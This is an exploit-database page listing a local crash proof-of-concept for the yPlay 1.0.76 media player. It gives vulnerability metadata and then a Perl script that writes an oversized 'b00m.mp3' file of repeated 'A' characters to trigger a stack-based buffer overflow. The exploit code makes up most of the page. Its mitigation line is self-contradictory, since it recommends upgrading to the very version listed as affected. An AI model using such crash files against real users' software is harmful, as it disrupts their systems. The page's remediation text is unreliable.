header-logo
Suggest Exploit
vendor:
yPlay
by:
cr4wl3r
7,8
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: yPlay
Affected Version From: 1.0.76
Affected Version To: 1.0.76
Patch Exists: Yes
Related CWE: N/A
CPE: a:yplay:yplay:1.0.76
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2020

yPlay 1.0.76 (.mp3) Local Crash PoC

This PoC exploits a buffer overflow vulnerability in yPlay 1.0.76. When a specially crafted .mp3 file is loaded, the application crashes due to a stack-based buffer overflow.

Mitigation:

Upgrade to the latest version of yPlay 1.0.76 or later.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.mp3 >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] yPlay 1.0.76 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";

Navigation

Suggest Exploit

Services By CQR